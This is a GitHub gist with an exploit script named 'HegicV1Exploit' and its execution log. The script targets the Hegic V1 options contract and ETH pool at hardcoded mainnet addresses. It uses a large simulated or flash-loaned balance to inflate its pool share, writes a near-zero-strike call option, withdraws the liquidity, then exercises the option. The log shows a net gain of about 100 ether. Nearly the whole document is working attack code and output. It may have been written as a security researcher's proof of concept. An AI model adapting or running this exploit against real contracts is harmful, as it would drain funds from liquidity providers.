-
-
Save samczsun/2f4ee8619470b464e86c3f1a1ea17e58 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[#] running script "HegicV1Exploit" on block 9945590 | |
[#] running "addLiquidity()" as 0xF15968a096Fc8F47650001585d23bEE819b5affb with 361.757636034735882668 ether | |
[#] finished running "addLiquidity()" | |
[#] running "createCall()" as 0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426 with 10000.000000000000000000 ether | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] premium=100.999999994971831980 fees=1.000000000000000000 | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] available=5100.004999994971831980 total=5331.634999994971831980 share=5095.572416648879205047 | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] available=4.432583346092626933 total=236.062583346092626933 share=0.000000000000000000 | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] net=-5.427583346092626933 | |
[#] finished running "createCall()" | |
[#] stepping forward by 900 seconds (9945590 -> 9945651) | |
[#] running "exerciseCall()" as 0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426 with 10.000000000000000000 ether | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] strikeAmount=0.000001000000000000 | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] available=4.432583351260507596 total=136.062583351260507596 share=0.000000000000000000 | |
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] net=99.999999994800971959 | |
[#] finished running "exerciseCall()" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract HegicOptionsLike { | |
enum State { Active, Exercised, Expired } | |
function fees(uint period, uint amount, uint strike) public view returns (uint premium, uint hegicFee, uint strikeFee, uint slippageFee, uint periodFee); | |
function create(uint period, uint amount, uint strike) public payable returns (uint optionID); | |
function exercise(uint optionID) public; | |
function options(uint optionID) public returns (State state, address payable holder, uint strikeAmount, uint amount, uint expiration, uint activation); | |
} | |
contract HegicEthPoolLike { | |
function provide() public payable returns (uint mint); | |
function withdraw(uint amount) public returns (uint burn); | |
function shareOf(address user) public view returns (uint share); | |
function availableBalance() public view returns (uint balance); | |
function totalBalance() public view returns (uint balance); | |
} | |
contract HegicV1Exploit is script { | |
HegicOptionsLike private constant CALL = HegicOptionsLike(0xEdf3B24db6B1b571f3773Dd311fd8B0af7Abb938); | |
HegicEthPoolLike private constant ETH_POOL = HegicEthPoolLike(0x34Ddc40E17BC8f0a159ba4fC297E55bd3f7c75aA); | |
function setup() public {} | |
function run() public { | |
// add some liquidity first as a bystander because the pool is empty | |
run(this.addLiquidity) | |
.withCaller(0xF15968a096Fc8F47650001585d23bEE819b5affb); | |
// create the call by flash loaning 10000 ether and buying a large share of the pool | |
run(this.createCall) | |
.withBalance(10000 ether); | |
// skip to when we can exercise | |
advanceTime(15 minutes); | |
// exercise the call | |
run(this.exerciseCall) | |
.withBalance(10 ether); | |
} | |
uint private optionId; | |
function addLiquidity() external { | |
ETH_POOL.provide.value(100 ether)(); | |
} | |
function createCall() external { | |
int256 initialBalance = int(address(this).balance); | |
ETH_POOL.provide.value(5000 ether)(); | |
(uint premium, uint fees,,,) = CALL.fees(1 days, 100 ether, 1); | |
fmt.printf("premium=%.18u fees=%.18u\n", abi.encode(premium, fees)); | |
optionId = CALL.create.value(premium)(1 days, 100 ether, 1); | |
fmt.printf("available=%.18u total=%.18u share=%.18u\n", abi.encode(ETH_POOL.availableBalance(), ETH_POOL.totalBalance(), ETH_POOL.shareOf(address(this)))); | |
ETH_POOL.withdraw(ETH_POOL.shareOf(address(this))); | |
fmt.printf("available=%.18u total=%.18u share=%.18u\n", abi.encode(ETH_POOL.availableBalance(), ETH_POOL.totalBalance(), ETH_POOL.shareOf(address(this)))); | |
fmt.printf("net=%.18d\n", abi.encode(int(address(this).balance) - initialBalance)); | |
} | |
function exerciseCall() external { | |
int256 initialBalance = int(address(this).balance); | |
(,, uint strikeAmount,,,) = CALL.options(optionId); | |
fmt.printf("strikeAmount=%.18u\n", abi.encode(strikeAmount)); | |
uniswap.buy(DAI, strikeAmount); | |
DAI.approve(address(CALL), strikeAmount); | |
CALL.exercise(optionId); | |
fmt.printf("available=%.18u total=%.18u share=%.18u\n", abi.encode(ETH_POOL.availableBalance(), ETH_POOL.totalBalance(), ETH_POOL.shareOf(address(this)))); | |
fmt.printf("net=%.18d\n", abi.encode(int(address(this).balance) - initialBalance)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment